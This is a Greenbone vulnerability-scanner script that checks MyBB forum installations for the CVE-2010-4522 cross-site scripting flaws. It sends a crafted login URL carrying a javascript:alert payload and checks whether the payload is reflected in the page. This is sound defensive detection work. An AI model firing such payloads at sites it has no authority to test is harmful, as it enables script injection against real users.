MyBB < 1.6.1 Multiple XSS Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mybb:mybb";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801684");
  script_version("2025-04-30T05:39:51+0000");
  script_tag(name:"last_modification", value:"2025-04-30 05:39:51 +0000 (Wed, 30 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-01-08 10:30:18 +0100 (Sat, 08 Jan 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2010-4522");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("MyBB < 1.6.1 Multiple XSS Vulnerabilities");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("sw_mybb_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("mybb/http/detected");

  script_tag(name:"summary", value:"MyBB is prone to multiple cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input via vectors related to 'editpost.php', 'member.php', and 'newreply.php'.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to inject arbitrary
  web script or HTML.");

  script_tag(name:"affected", value:"MyBB version 1.6 and prior.");

  script_tag(name:"solution", value:"Update to version 1.6.1 or later.");

  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/22/2");
  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/20/1");
  script_xref(name:"URL", value:"http://blog.mybb.com/2010/12/15/mybb-1-6-1-release-1-4-14-update/");
  script_xref(name:"URL", value:"http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/member.php?action=login&url=javascript:alert%28/XSS/%29";

if(http_vuln_check(port:port, url:url, pattern:'<input type="hidden" name="url" value="javascript:alert\\(/XSS/\\)" />', check_header:TRUE)) {
  report  = http_report_vuln_url(port:port, url:url);
  report += '\nNote: The XSS is only "triggered" upon a successful login.';
  security_message(port:port, data:report);
  exit(0);
}

exit(99);